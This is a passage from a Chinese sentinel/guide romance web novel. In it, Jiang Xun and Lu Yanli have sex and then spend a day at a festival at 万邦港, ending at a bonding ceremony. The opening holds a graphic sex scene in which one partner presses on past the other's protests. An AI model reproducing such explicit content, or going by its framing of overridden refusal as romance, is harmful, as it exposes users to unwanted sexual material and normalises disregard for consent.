大红色的“囍”字，点缀在空荡的玻璃上，还真的显出了几分喜庆气儿来。 “真不错，很好看呀！”陆厌离回头对江寻笑道，嘴上说着话，手里已经拿起了一旁的速干胶，在“囍”字背后涂抹起来。 “我要把它贴上去。”他一边比划着位置，一边又好奇地追问道，“这个图案，也是代表着团圆美满的吗？和春联还有那个‘福’字联一样？” 江寻噙着笑意站起身来，走到他的身后，伸出手，一手轻轻覆上陆厌离正要往玻璃上贴剪纸的手背，一手扶上他的腰间，胸膛贴上陆厌离的后背，微微弯下腰来，将他整个人都笼罩在自己的气息之下。 凑到他耳边，温热的呼吸拂过耳畔，声音低沉了下来，带着一种不同寻常的磁性：“不是。” 他顿了顿，扶在腰间的手缓缓摩挲起来，整个人散发出一种不易察觉的危险气息，继续低语道：“这个窗花……不是过新年的时候贴的。” 陆厌离动作一顿，潜意识似乎察觉到了什么，可头脑还没转过弯来，继续懵懵懂懂地侧过头来，想要看向江寻，口中已经将疑问问出了口：“那它代表什么意思？是什么时候贴的……” 话音未落，转过来的视线已经迎上了江寻骤然深邃下去的目光，心脏瞬间空了一拍。 江寻嘴角一弯，从鼻腔中漏出一声低笑，按着他的手微微用力，将他的身体紧紧压在了冰凉的玻璃幕墙上。同时，另一只手手腕一转，已然顺着衣襟的缝隙，向内探了进去。 “你怎么……”被冰凉的玻璃激得哆嗦一下，又被江寻倏然滑入的手指惊得醒过神来。陆厌离刚要开口询问，话音刚出口，便被落下来的一吻捕获了唇舌，未尽的疑问，就这样被强势封缄。 “呃……嗯……等……江寻，怎么突然，唔……”陆厌离上一秒还在和江寻讨论着贴窗花的正经事，下一秒便被堵得语不成句，莫名之间，也不知是什么时候刺激到了江寻，只得艰难地在对方铺天盖地笼罩下来的气息中，寻隙呼吸。 但江寻的目的显然不止于亲吻，一吻还未结束，一条长腿已经从身后别开了陆厌离的双膝，大腿稍一使力，使其被迫岔开。 玉山倾而下，另一手手腕一转悄然潜入卫衣，向着丰隆的高地攀援而去。 “嘶……”早春的寒意冻得玻璃幕墙冷硬如冰，陆厌离胸口一凉，温热的皮肉就猝不及防地被按上了这层冰凌，顿时被激得倒抽一口凉气。身体被冻得微僵时，身后却气息灼热，一只大手更是毫不客气地趁此时机四处作乱，惊得陆厌离慌忙抬手护住胸前，试图抵开这个肆无忌惮的入侵者。 “江寻！别！外面……”眼前是毫无遮挡的玻璃幕墙，虽然面对的是无人湖畔，却丝毫不减光天化日之下的暴露感。以陆厌离一贯的薄面皮哪里受得了这个，立刻挣扎起来。 察觉到他的抵抗，已经慢慢进入了状态的男人丝毫不以为意，由着他拉开自己的手臂，却在陆厌离刚松一口气时，手掌顺势向上，滑过沟壑直接从衣领中伸了出去，一把掐住陆厌离的下巴，迫使他抬起头来。 接着，顺势结束了这一吻，转而沿着他的耳根颈侧，一路细细亲吻了下去。 陆厌离被半强迫地压制在冰冷的玻璃幕墙上，动弹不得。只觉自己正悬在两个世界的交界处。前方，冰面冷彻刺骨，将他的体温一寸寸抽走；身后，炽热气息又如即将爆发的火山般危险而滚烫。再加上对方此刻不容拒绝的强硬姿态，终于刺激得他呼吸急促起来，每一缕呼出的气息，都在面前冰冷的玻璃上凝结成模糊的雾，模糊了视线的同时，也搅乱了他的神智。 察觉到身前之人抵抗渐弱，江寻低沉一笑，原本压制着陆厌离左手的另一只手也收了回来，加入战局。 陆厌离刚刚还在伸手无力地攀着控住自己下巴的那条臂膀，下一秒，新的温度已覆上腰际，窸窸窣窣的衣料摩挲声里，遮蔽悄然滑落。 陆厌离瞬间眼眸大睁，抑制不住地惊呼出声，可此时再去拯救却为时已晚，转眼间，便彻底落入了对方的指掌之中。 “你……你不让我……原来早有预谋……就是为了这种时候吗……？”陆厌离眼眶都湿润了起来，挤出一句最后的控诉，便在耳边响起的低沉笑声中，彻底迷失在了情潮里。 广袤的冰川上，土壤贫瘠艰涩，播种者握起一团泥土，盘在手心细细揉搓。干涩的泥土在播种者殷切的注视下，逐渐松动湿润起来，可辛勤的播种者仍不满足，又耐心十足地以指腹细细摸索，直到泥土足够柔软顺滑，播种者这才亮出灼热的铁犁，携着满意的笑容深深嵌入了土层之下。 泥土微薄，底下却是亘古不化的广袤冰原。铁犁深重，瞬间穿透薄土，撞击在坚冰之上，冰层立时发出一声长长的不堪重负的崩裂脆响。 可这声响却更加激励了播种者，令他当即推着铁犁在这片冻土上奋力耕种起来。随着他的前进，冰层在持续地挤压碰撞之下，发出连绵不绝的碎裂声响，随即又在炽热的铁犁下融化为春水，滋润了耕土，并顺着铁犁犁出的径道汩汩流淌出来，引得耕种者抚掌而笑，更加卖力地深耕起来。 陆厌离此时已经完全失去了自控，被夹在冰与火的狭缝间反复碾磨，被播种者推着不断上扬，脚尖绷得紧紧地踮在地上。 忽然，单腿一轻，被迫抬起紧贴在了冷彻的冰面上，肌肤被冻得一颤，急促的铃声骤然响起，又被播种者一把抓住，更高地挂起。 双眼失神大睁，喉间不住溢出压抑的呜咽声，却被身后喷薄而来的火山热浪席卷吞没。融化的冰层化为眼泪与涎水，沿着他高高扬起的脖颈滑落，浸湿了颈上漆黑的项圈。急促的喘息与无意识的呓语声不绝于耳，意识在濒临冻结的窒息与炙热融化的战栗中不停摇摆。 他的手上还紧紧攥着那张红艳艳的“囍”字剪纸，平整的剪纸早已在无意识间被揉得发皱，夹在他滚烫的身体与冰冷的玻璃幕墙之间，被蹭得歪七扭八，不成形状。 眼看着冰原化作泽川沃土，播种者汗湿额际，看着自己的成果，心中涌起巨大的满足感。他的动作再次加快，铁犁如燃烧起来般被他疯狂驱动。眼看就要抵达耕地的尽头，将铁犁挥舞出一道沉重的弧线，最后砸下一击，连脚下的大地都为之微微一颤。 厚重的冰层在一声濒死般的脆响声中轰然破碎，被封印在其中的湍流暖洋喷薄而出，泼洒在炽烈的铁犁上，瞬间便被蒸发成迷乱的雾。 雾气弥漫在田垄之间，便拖着沉浸其中的人再次进入一个意乱情迷的幻境。 陆厌离一身狼藉，哭得满面泪痕，脱力地沿着玻璃往下滑去，随即被一条坚实的手臂一把捞住，转身抱起。 他的卫衣下摆被完全掀了起来，却是被他自已紧紧咬在口中。 可怜的“囍”字被斑驳的痕迹玷污，反而更紧地贴在了玻璃上，洇湿的纸页将鲜艳的红晕染开来，褪色的颜料将靠在玻璃上上不断抖动的苍白脊背，染成凌乱的红。 一双手臂锁住腿弯高高抬起，稍事休息的播种者，再次架起他的耕犁，回转身去，哼着愉悦的小调，顺着刚才被开拓出来的径道，再次推了回去。 被暖洋充分灌溉过的冻土已然化作一片丰腴的沃土，铁犁的每一次推进都会挤压出一道汪汪水流。播种者惬意地一下一下推动着铁犁，伴着耳边清脆不绝的“叮铃铃”，悠然回返。冰凌凌的铃身随着动作摇摆，一次次轻碰在播种者的耳廓上，仿佛在为它的主人祈求怜惜。可此时的播种者正在兴头上，又哪里肯停，反而收紧了手臂，将冰层挤出一声更加可怜的哀泣。 第二轮的耕种悠长而缓慢，勤劳的播种者却丝毫未省半分力气，托着铁犁一寸一寸细致碾磨，将所有冻土砂砾统统融化成温热的春水。呜呜咽咽地水流随着他的前进，漫了满地。 直至再次抵达终点，播种者又起了新的坏念头。不紧不慢地像之前一样精耕细种几下之后，临近最后，再次聚力舞刃而下。万仞冰川遭受如此重击，顿时爆发出一阵剧烈的哀鸣，在最后一声低沉嘶哑的轰鸣声中，碎裂成万千星辰，在轰然席卷的热浪中彻底融化，坠落下去。 陆厌离汗如雨下，浑身狼狈，如一只垂死的天鹅般高高扬起脖颈，吐出一声长长的哀鸣。一阵剧烈颤抖过后，彻底失力，瘫软下去的身体，被一只大手稳稳托住，搂进了怀里。 江寻餍足地长叹出一口气，在陆厌离模糊不清的哀泣声中，轻柔地擦去他眼角的泪痕，爱怜地亲了亲他的额头。而可怜的哨兵此时已经在连番的折磨下彻底失去了清明，一双碧眸雾蒙蒙地失神望天，身体仍止不住地微微颤抖，即使一切结束，双腿仍然维持着打开的姿势无法合拢。 可恶的罪魁祸首，此时终于生出了一些愧疚，轻咳一声，赶忙将人抱起，回房清理。 待陆厌离再次恢复意识时，已经被打理得清清爽爽，重新躺回了柔软的被窝里。 “你……”沙哑的嗓音刚刚吐出一个字，一杯熟悉的温热牛奶，就适时递到了唇边。记忆瞬间回笼，身后那个被过度使用的地方，也随之传来阵阵明显的隐痛。 陆厌离猛地睁大眼睛，狠狠瞪了面前这张让自己又爱又恨的面孔一眼，却在对方温柔含笑的注视下，败下阵来，委委屈屈地就着江寻的手，小口小口地喝起了牛奶。 “你……你今天到底是怎么了？”喝了半杯牛奶，干哑的喉咙才舒缓了一些，陆厌离嗔怒地推了推江寻的胸膛，“为什么突然就……这么冲动……” 江寻低笑一声，接过被喝到一半的牛奶，仰头一口饮尽，将空杯放回床头，这才在陆厌离如临大敌的目光中重新躺下，把他搂进了怀里。 抬手抚过陆厌离汗湿的鬓发，对着他挑了挑眉：“这可不能怪我，今天可是你先招惹我的，谁叫你把那个窗花贴起来的。” “嗯？”陆厌离一愣，立马反驳起来，“我哪有招惹你？那个窗花怎么了？不能贴吗？” 江寻又低沉地笑了起来，挑起陆厌离的下巴，深深望进他的眼眸，再开口时，声音低沉而沙哑：“在我的家乡里，那个窗花……可不是过新年的时候贴的……” 他故意停顿了一下，欣赏着陆厌离疑惑的神情，半晌，才缓缓说了下去：“它是新婚的时候贴的，象征着两个人永结同心，专门为了……洞房花烛夜而贴。” 洞房花烛夜这个单词虽是华国特有，可这个意象却轻易被陆厌离理解。 简单的几个字，却令他再一次心旌动摇起来。此刻再也说不出半句怪罪的话语，反而嘴角不自觉扬起一抹羞涩的微笑，心中甜蜜满溢。 江寻含笑收紧了手臂，把怀里的人搂得更紧一些，在他发顶落下轻轻一吻：“睡吧，明天还要早起去万邦港呢。” 陆厌离也伸手环上了对方的腰间，低低“嗯”了一声，在爱人温暖安稳的怀抱里，缓缓沉入了黑甜梦乡—— 作者有话说：XQL继续甜甜甜甜甜[紫糖][橘糖][紫糖] 第215章 “唔……”江寻在睡梦中闷哼一声， 感觉自己像被什么东西紧紧缠住，几乎无法呼吸。迷迷糊糊地睁开眼睛一看，却乐出了声来。 陆厌离此刻半个身子都压在他的身上， 手脚并用地缠着他，睡得正香。 侧头看了看窗外的天色，又小心翼翼地维持着姿势免得惊动怀里的人，伸手从床头勾过终端看了看时间， 随后抬手轻抚在陆厌离的发尾， 轻声唤了起来：“厌离， 醒醒，该起床了。” 几下轻拍， 陆厌离打着哈欠迷茫睁开了眼睛。还没完全清醒过来的眼睛半眯着，湿润润懵懵懂懂的，引得江寻忍不住低头在他眼帘上落下一吻。 轻吻一触即走， 却被还没睡醒的人勾住脖子又拉了回去， 无比自然地再次在江寻唇边印了一下。 低笑声中，刚刚睁开眼睛的人这才清醒过来。 恢复清明的陆厌离一眼看到自己缠在江寻身上的姿势，脸颊立马红了红， 一个翻身从他身上下来， 滚到一边， 这才故作正经地问了起来：“几点了？” 江寻也不点破他这掩耳盗铃般的小心思， 一边掀被下床一边应道：“七点了， 该起床了。飞往万邦港的最早一班飞艇是八点出发。” 一提到万邦港， 陆厌离眼睛一亮， 心下登时雀跃起来。此时也顾不上害羞了，快速从床的另一头下了地，便自觉穿衣洗漱。 江寻动作更快， 收拾完自己的个人卫生，立即下楼给二人准备早餐，待填饱了肚子，时间也将将来到了七点半。 衣帽间里，气氛比往常更加轻快雀跃。 两人站在衣柜前，难得地为了今天的衣着讨论起来。 “这件怎么样？不过这个颜色，我穿的话会不会不太适合？”陆厌离提起一件浅蓝色的格纹衫，在自己身上比划着。 江寻噗嗤一笑，这倒不是颜色的问题，只是这件的款式，穿着有点像某些白领的工装。 摇了摇头，江寻俯身从衣柜深处翻出一个纸袋，从中取出一件还挂着吊牌的酒红色高领毛衣，递给陆厌离：“那件不错，但我有更好的选择。” 陆厌离立刻放下手中的格纹衫，接过毛衣在自己身上比划起来。再抬头，却见江寻又再次伸手，从同一个纸袋中，拿出了一件和他手上的这件款式相同的灰色毛衣。 看着对方抖开手中的毛衣含笑望来的模样，陆厌离几乎立刻就明白了他的意思，嘴角不自觉勾起笑容，当即便拍板决定了下来：“就穿这个！”。 镜子里一前一后，穿着同款毛衣的两人看起来格外相配。陆厌离的眼神亮晶晶的，开心地扭头想要和江寻说话，一侧脸却不小心蹭上身后人的下巴，目光交汇之间，这个有些熟悉的角度，令两人不约而同地想起昨天在玻璃幕墙前的那场情事，顿时双双耳根发烫，气氛瞬间暧昧了起来。 最终还是脸皮更薄的陆厌离先受不了，佯作无事地转回身去，撂下一句“我再给你找件外套。”便快走几步，迈向侧边挂着大衣的柜子。 江寻微微一笑，也追随了上去，细心地为陆厌离挑起了外套。 最后，江寻搭配了一件长款的米黄色外套，而陆厌离则选了一件短款的卡其色夹克。 整理衣物间，抬手投足，轻微碰触，都流转着绵绵情意，每一个眼神的交汇，都令心跳加快几分。 待打扮停当，陆厌离的脸颊已经与自己的红色毛衣相映成趣。而江寻的目光，也变得深邃火热，紧紧缠绕在陆厌离身上。 “好了，快走吧。”陆厌离先在江寻的目光下败下阵来，拉着他的手便匆匆出了门，驾上悬浮车便一路赶往飞艇交通中心，登上了前往万邦港的公共飞艇。 两人都没有以游客的身份参与过这种大型庆典，刚登上飞艇，便已经预感到了今天的万邦港，会是非同一般的热闹。 飞艇上几乎座无虚席，空气中洋溢着节日特有的欢快气氛。 一眼望过去，座中许多乘客明显是成双成对的情侣，几乎每个人都能看出经过了精心打扮，脸上洋溢着满满的兴奋与期待。 江寻与陆厌离含笑对视一眼，光明正大地牵起手，毫无违和感地融入其中。 半个多小时后，飞艇在万邦港交通中心缓缓降落。舱门一开，更加喧嚣热烈的声浪便扑面而来。 江寻站在交通中心宽敞的出口大厅，向外望去，便见热闹的景象令人目不暇接。 主干道不远处，风格迥异的各色建筑鳞次栉比地排列在一起。一眼望去，有充满了科技感的简约冷调风格；有复古典雅，饰纹繁复的圆顶豪宅；有充满了自然粗犷气息，引得鸟儿盘旋环绕的森林风格；也有庄严肃穆，高大凛然的沉稳尖塔。 众多完全不同的风格在这片土地上杂糅交汇，却丝毫不见突兀，反而将这座岛屿妆点得如汇聚了众多文明精华的万花筒一般，绚烂夺目。 今天的结合庆典吸引了中央星众多游客前来。驻扎在万邦港的各国使馆与商团们，纷纷在自己所属的区域中设置了精心布置的展台，安排了各式特色活动，将各自星球文化中最美、最独特的一面，向来自联盟各地的游客们淋漓尽致地展现出来。 这会儿，陆厌离倒是比江寻还要积极起来，兴冲冲地拉着他便向外走去。 交通中心门口的电子屏幕上，此时也贴心地将今天庆典的流程公布了出来。 两人随着人流驻足浏览。 庆典从早上十点正式开始，多星球联合悬游花船，会沿着提前规划好的主干道一路巡游，穿越万邦港的几个主要群岛，巡游一圈后，于晚上六点重新返回主岛，在主岛的双子桥上，举行集体结合庆典仪式。之后，还有大型烟花、全息表演和星球特色演出，直到晚上九点，庆典正式结束。 庆典期间，各群岛的主干道两旁，众多特色展台将全天开放，供游客们随意游览，参与文化交流与互动体验。 公告旁边，还贴心地附上了万邦港的全地图与主干道路线图。 两人乘坐的是最早的一班飞艇，这会儿也才刚过早上九点，距离花船正式开始巡游还有一个小时，便决定不在主岛上等待，而是沿着主干道游览过去。这样的话，不仅能观赏到路过巡游的花车车队，还能将今日万邦港的热闹尽情体验一遍。计算好时间的话，傍晚刚好可以逛完一圈，重新返回主岛，到双子桥上参与最后的结合庆典。 规划妥当，两人当即便随着熙熙攘攘的人流，踏上了此刻被装饰得花团锦簇的主干道。 不断有游客从交通中心中涌出，周围尽是欢声笑语。许许多多与他们一样成双成对的情侣，或是携家带口的家庭，都趁着这个假期前来参与这个一年一度的庆典，每个人都沉浸在节日的气氛中，空气中盈满了幸福的味道。 各家展台，也在今天拿出了自家的招牌特色，使出浑身解数吸引游客们的眼球。有的展示当地特色手工艺品，有的布置出源自家乡的独特景观，有的开展了有趣的互动活动，还有的展示着家乡特有的民族服饰与歌舞表演。 他们首先抵达的岛屿，主题便是各成员星的传统文化表演。 一个个展台上，有造型奇特的音乐家在演奏着从未听过的空灵乐器；有身段窈窕柔韧的舞者身着流光溢彩的民族服饰，演绎着来自遥远星系中的古老传说。 最让两人惊叹的，是一个名叫“禽语部落”的展台上，展示出的驯鹰表演。 只见开阔的场地上空，数以百计翅羽威猛的庞□□，在站在中央的训鹰人独特的口哨与手势指挥之下，排起整齐的队形。时而化为箭矢急速直冲云霄，时而变换出令人眼花缭乱的队形，组成各种图案。鹰群嘹亮的啼鸣声中充满了生机勃勃的野性魅力，却始终维持着整齐划一的动作，表现出了如军队一般的严格纪律性，实在令人叹为观止。 一系列高难度表演过后，这些猛禽还纷纷抓起放在舞台中间装满了彩色糖果的小篮子，向着观众席飞来，一个酷炫的空中翻身，将篮子里的甜蜜糖果抛洒向底下欢呼的观众们。 热烈的气氛，惹得陆厌离也忍不住伸手接住一颗糖果，略带得意地看向江寻，又在对方含笑的目光注视下，将糖果塞进了江寻嘴里。 今天的时间还很长，两人也没有心急赶路，一边走一边游览着，时间临近正午时，正好逛到巡游路线中段的另一个大岛上。 一踏上这座岛屿的主干道，一股极其诱人的复杂香气便随着海风扑面而来，那是众多美食飘散出来的香味。 这味道一飘到两人面前，当即便勾得二人食指大动。 没错，这里便是万邦港上有名的美食岛屿。 今天，这里的美食更是比寻常时多了好几倍，不仅时主干道上，连分岔出去的小路上，都密密麻麻地排列着美食摊位。来自联盟各个星球的特色小吃与年节食物，被一一陈列在所有人面前，供游客们挑选品尝。 人来人往之间，人声鼎沸，烟火缭绕，好一处人间盛景。 在这众多食品摊位中，还点缀有一些特别的展台。 他们看到某个以艺术品闻名于联盟的星球展台上，高低错落摆放着繁复优美的雕塑，仔细一看，却都是由各色食材制成；看到一个展台，外表朴素之极，只在展台正中心摆着一个巨大的烤架，整个烤架上只有一整块足有七八米长的巨型肉排，丰富的油脂随着火焰炙烤滋滋滴落；看到一间突兀出现在众多摊位中间，看似寻常的公寓房间，床上的被子都没有叠好，就像主人刚刚离开。可走近才在众人的惊呼中发现，整个房间及里面的物品都是由糖果制成……种种新奇有趣的另类展台，引得两人频频发出惊呼。 两人边走边看，遇到感兴趣的食物便停下脚步，和身边的游客们一样排队买上一份，再一边分食着一边分享着彼此的感受。 场中还有许多有趣的创意食品试吃活动，有的古怪荒诞，有的口味奇特，有的外表难看味道却惊为天人，每一种都吸引着游客们的目光。 最后在一个围满了人的摊位前，两人还观看了一场激烈的“大胃王挑战”。令人惊奇的是，身材魁梧胖硕的挑战者，最后却输给了一个看上去貌不惊人的对手。直到主持人激动宣布冠军来自一个边远星球上的“四胃族”时，全场观众才在一片哗然中，爆发出哄堂大笑。 一番游览下来，两人既吃得腹中饱足，又看了许多新奇有趣的热闹，带着心满意足的心情，搭上在岛屿之间循环旋转的缆车，继续沿着主干道向前走去。 穿过几个以科技展示与主题娱乐为主题的小型岛屿后，下一个大型岛屿又映入眼帘。 这里的主题是手工艺品。整座岛屿上，气氛不如旁的地方热烈喧闹，处处透出一种安宁雅致的氛围。登上这座岛屿的游客们，也在这种氛围的影响下，静下了心来。 长长的主干道两侧，不仅展示售卖着来自不同星球的各种传统手工艺品，热情的摊主们还设下了许多互动场地，为游客们提供亲手制作的体验机会。 江寻向来对这种能亲自动手的项目十分感兴趣，当即便拉着陆厌离兴致勃勃地浏览起来。一边走着一边商量着，要找个店铺一起体验一下。 逛了一圈，见到许多有趣的展台，有的工艺品甚至与江寻记忆中的一些非遗工艺很像，令他欣喜不已。最后，两人在一个教授绳结编织的特色摊位前停下了脚步。 此处摊位似乎来自一个自然风貌为主的星球。坐在一边的中年摊主一身粗布葛衣，笑容和蔼，身材高大，手指修长灵巧，为几位同样停下脚步的年轻女孩演示时，行云流水间便编织出一个复杂精美的绳结饰品，引来阵阵惊叹。 看到江寻两人感兴趣的驻足，马上热情地招呼起来：“两位先生，欢迎光临尤莱族的店铺，感兴趣的话要不要来试试看？很简单的，在我们尤莱族的传说里，两个人共同编织出的绳结可是有特殊意义的，能保佑两人永远如绳结一般命运相缠，长长久久，很有寓意的哦！” 江寻本就打算和陆厌离体验这家店，听到这般祝福，虽然知道这只是个象征意义，当不得真，却也兴致高昂起来，拉着陆厌离就一起坐在了摊位提供的小凳上。 两个身高腿长的帅哥，就这么混在一群同样留□□验手工艺的女孩子中间，认真听着老板热情地对他们讲解几种基础的绳结编法。 陆厌离不太擅长这种需要细致耐心的手工艺，可即使如此，神情却依然无比认真。江寻稍好一些，虽然同样没接触过这种工艺，不过因为经常自己做东西，双手还算灵巧，很快就学会了几种基础绳结，一边教着陆厌离，一边迅速熟悉起来。 编着编着，江寻看着手中红色的丝绒绳，忽然想起记忆中的另一种十分具有意义的绳结。心中顿时跃跃欲试起来，放下手中编到一半的半成品，向老板描述起来：“老板，在我的家乡里，有一种“同心结”，大概是这样子的结构……”他用手指在桌面上比划着记忆中的模样，和大致的编织方式，向着老板请教，“您能还原出来吗？” “哦？”老板明显对这种新的绳结样式很感兴趣，听完江寻的描述，当即便捻起几根红绳，一边思考一边尝试着编织起来。 长长的红线在手指间穿梭着，老板编到中间又询问了江寻几次，很快找到了思路。不过片刻，一个与江寻记忆中相差仿佛的红色绳结就在他手中诞生出来。 “对！就是这个！”江寻眼中一亮，露出惊喜的神色，连忙向老板请教编织的方法。他这认真的模样，惹得陆厌离也好奇地凑到旁边仔细看了起来。 两人像两个小学生一般，坐在小板凳上，头对着头，手指笨拙地凑在一起，为了完成一个小小的绳结努力着。他们为彼此的笨拙低声笑着，认真讨论着，指掌相触间，便是一片脉脉情意。两人这番情谊深厚的模样，直惹得一边坐着的几个女孩都凑在一起偷笑起来。 最后，在老板的指点下，两人终于在摸索尝试中，共同完成了一个略显粗糙，却每一处都由两人亲手编织的同心结。 大方留下一笔可观的费用之后，陆厌离便爱不释手地握着这个绳结，与江寻再次踏上了游览路线。 剩下的几座小岛也非常有趣，但布置得就不如前几座那么具有主题性了，以充满趣味的互动游戏居多。两人随意挑着感兴趣的又参与了几个，便不再下场，只是一路游览过去。 期间，庞大的巡游花船队伍终于跟上了二人的脚步。 整个花船队伍由数十艘大型悬浮花船组成，如同一串移动的华丽舞台般，载着上面的表演者们，在主干道上缓缓驶过。 每一艘花船都有着不同的风格与装饰，但都被打扮得美轮美奂。有穿着华丽的舞者在花船中心舞蹈，有可爱俏皮的演员，与游客们互动，还有套着巨大玩偶套装的工作人员，不停把糖果、花瓣抛洒向周围的孩子们。 花船经过时，游客们纷纷欢呼，或是跟随着他们一同游行，或是积极与上面的演员互动，一派热闹景象。 江寻与陆厌离二人没有挤到最前面，但也从善如流地慢慢跟着花船队伍走了一段路途，将每一艘花船都细细观赏了一番，如同身边每一个欢乐的游客一般，享受着这一刻的绚烂与美好。 看着陆厌离脸上洋溢的惊奇与始终笑弯着的笑眼，江寻紧了紧相牵的手，在对方看过来的目光中轻轻揽过他：“你看，这就是你守护着的世界。” 陆厌离一怔，再回过头去，望向身边熙熙攘攘的欢乐人群，突然像是放下了心中的许多负担，粲然一笑。 两人就这样一路走，一路看，在轻松愉快的氛围中，天色也渐渐暗了下来。当傍晚六点的钟声在万邦港群岛之间回响起来时，他们也刚刚好绕行一周，重新回到了作为庆典主会场的主岛——双子岛上。 此时，这两座以跨海大桥连接在一起的岛屿上，已经灯火辉煌。主干道两边，无数售卖浮空灯的摊位上，都亮起了柔和的灯光。各式各样或是可爱，或是精致，或是雍容典雅的浮空灯，散发着朦胧光晕，在各个展台旁边缓缓飘动着，将整座岛屿衬得如同人间星河。 看着游人们纷纷携着伴侣家人，在各色摊位前流连着，或买或送，亦或参与活动赢取一个个漂亮的浮空灯，江寻也拉着陆厌离一路噙着笑左顾右盼。 看到某处时，眼睛一亮，快步走近。 这处摊位上挂着的浮空灯大小合宜，造型可爱又不失精致。有圆鼓鼓的素面光球，有绽放的花朵，还有各种可爱的小动物，难得的是，这些浮空灯不仅造型漂亮，摊主还为每只灯的蒙皮都染上了漂亮的色彩，被放在中间的炽白晶灯一照，便映出一片朦胧幻彩，十分美丽。 江寻的目光扫视一圈，落在靠里的一盏彩灯上。 那是一盏被做成猫咪造型的浮空灯，难得的是，猫咪正好是与陆厌离发色相近的银灰色，摊主还细致地捏出了猫猫的耳朵与背后飘摇的大尾巴，整体造型看起来慵懒可爱，憨态可掬。 “老板，把那盏灯给我们拿一下。”江寻伸手指向那只猫猫灯，笑着对摊主说道。 “看，像不像你？” 陆厌离看着这盏被递到自己手中的浮空灯，嘴角一撇，带着几分嫌弃：“哪里像我？我的模样可比它漂亮多了。” 嘴上说着这样的话，眼睛里却满满的都是笑意，双手也抱着猫猫灯，好奇地转来转去看个不停。 江寻失笑：“那就当做是我想要吧。”说罢便果断结账，从老板手中接过牵引着浮空灯的细绳塞到了陆厌离手里。 陆厌离小心将牵引绳在指间缠绕几圈，看着那盏猫猫灯晃晃悠悠地飘到自己身边，低头一笑，另一手挽上江寻的臂弯，与他携手向着双子桥上走去。 星光熠熠，此时却不及地上灯火万千。汇聚的点点灯光，随着天色渐暗，如潮水般向着灯火通明的双子桥上流淌而去。《 》 215-220 第216章 夜色渐暮， 此时的双子岛上却亮如白昼。 临近结合典礼正式开始的时间，游客们纷纷从散布在周边的群岛上，返回了双子岛。游玩了一天的人群， 擎着手中各式的浮空灯，或是登上双子桥，或是乘上游船，汇聚到了双子桥边， 等待着典礼的正式开始。 无数闪烁的浮空灯， 在夜空中交相辉映， 比白天之时妆点得双子岛更多了几分梦幻色彩。 江寻与陆厌离两人来得早一些，已经在双子桥上找到了一处视野极佳的位置， 与周围满怀期待的人群一同，等待着典礼的开始。 双子桥中心早已搭起一座高高的舞台，此时， 沿着群岛巡游了一天的花船， 也慢慢行驶了过来，按顺序围在双子桥周围，形成一个巨大的圆圈。此刻所有的花船， 都将外部的“花瓣”闭合了起来， 形成一个含苞待放的花骨朵形状， 看不到内部的情形。 待所有花船都在预定好的位置停稳， 布置在船身上的音响同时响起悠扬的音乐声。 这道音乐声的响起， 迅速令场中气氛热烈起来。随着音乐进入高潮， 桥中央的主舞台上， 升降台缓缓升起，一位众人耳熟能详的主持人现身，当他的声音通过音响传遍全场时， 现场的气氛彻底沸腾起来。 “亲爱的游客朋友们，大家晚上好！我是你们的老朋友马丁，欢迎大家来到今天的新年结合庆典现场！” 马丁用热情洋溢的声音，与观众们打着招呼，几句幽默的打趣，引得场中笑声不断。短短五分钟时间，便将现场的气氛充分调动起来。 热场完毕，马丁也没有抢今日主角们的风采，迅速进入了正题： “想必大家已经迫不及待要想看到我们举行结合仪式的新人们了。好了，废话不多说。我宣布，新年结合庆典，正式开始！” 马丁高亢的声音通过环绕一圈的扩音器在空中回荡。与此同时，落在舞台中央的追光灯熄灭下去，转而聚焦在了环绕着桥梁的其中一艘呈现花苞状的花船上。 随着一阵激昂的音乐响起，“花苞”仿佛活了过来，在众人的注视下，外层的“花瓣”伴随着梦幻的灯效，优雅缓慢地向四面舒展开来，露出“花心”处，那个被精心布置的小舞台。 一阵白雾从“花心”中喷涌而出，白雾散尽之时，一对身着华丽传统服饰的年轻人，携手出现在所有人面前。 两人的出场引得场中响起一片欢呼声。在热烈的掌声中，其中一位看起来年纪更大一些的男士举起手中的话筒，开始自我介绍。 “大家好，我们来自M56星系，翡冷翠星。我是向导贝星河，这位是我的哨兵格罗瑞亚……” 两人身上的服饰，风格看起来十分古老而繁复，却格外精致，明显来自一个历史悠久的文明。在场的游客们并非所有人都听说过他们口中所说的这个“翡冷翠星”，但看着他们的服饰与外貌，已经对这个有些陌生的星球产生了一丝好感。 两人看起来都有些紧张，似乎没有在这种场合中做过人群的焦点。但爱人坚定的扶持，显然为他们带来了巨大的勇气，说话声越来越镇定起来。 在简单为大家介绍了他们的出身来历之后，其中那位女士也鼓起了勇气，与她的向导一同向大家讲述着两人是如何在一次联合任务中相识，从最初的误解，经历一系列跌宕起伏的事件，直到后来的生死与共。 情到深时，声音时而激动，时而哽咽，但所有的声音，都在最后化为了浓浓的爱意与幸福。 他们的故事，显然也引起了在场许多观众的共鸣，大家纷纷鼓起掌来。最后，更是在全场响起了“亲一个！亲一个！”的起哄声。 二人此时也已经平静下来，在众人的目光中对视一笑，紧紧相拥，深情地吻住了彼此。 打在二人身上的追光，缓缓暗了下去，紧接着，在另一个方向上骤然亮起。另一艘花船也紧接着绽放开来。 同样的，一阵白雾过后，又一对新的伴侣出现在众人面前。 就这样，一艘又一艘花船，按照顺序次第开放。一对又一对新人接连在众人的目光中亮相。 他们有的衣着庄重，有的打扮简约；有的身份显赫高贵，有的只是芸芸大众中的一员；有的来自高度发达的科技星球，也有的来自战火纷飞的边缘地带。每一对出现在众人面前的哨兵与向导，都向在场的观众们分享了来自他们的故事。 这些故事有的轰轰烈烈，有的平平淡淡，有的甚至令人啼笑皆非。可那些流淌在他们故事里真挚的情感，每每都让观众们会心一笑，为他们的深厚情谊，献上祝福与掌声。 陆厌离与江寻站在人群当中，看着面前这一场跨越了空间的阻隔、阶级与身份的羁绊，盛开在夜空中的浪漫誓约，心中与现场的所有人一样，泛起阵阵波澜。 江寻微微侧过脸去，看向站在身边的陆厌离。那只银灰色的猫猫浮空灯正安静地飘摇在他的脸侧，柔和的光晕照亮了他专注的侧脸，将他的双瞳映得闪闪发光。 陆厌离敏锐地察觉到了落在自己身上的视线，同时转头看了过去，恰恰迎上江寻的目光。在身边响起的又一阵欢呼声中，两人相视一笑，双手紧握。 当最后一艘花船上的灯光也黯淡下来之后，现场的音乐一转，变成了婚礼进行曲。同时，所有舞台上，灯光大亮。 主舞台中央的升降台再次升起，此时出现在所有人视线之中的，是一位身着塔正式礼服的老者，此人正是塔系统中主司哨向匹配与人员管理的灵枢中心司长。 